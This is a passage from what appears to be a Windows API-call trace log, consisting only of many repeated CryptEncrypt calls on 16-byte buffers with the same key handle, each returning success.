dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.343] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.344] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.345] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.346] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0083.347] CryptEncrypt (in: hKey=0x1639b68, hHash=0x0, Final=0, dwFlags=0x0, 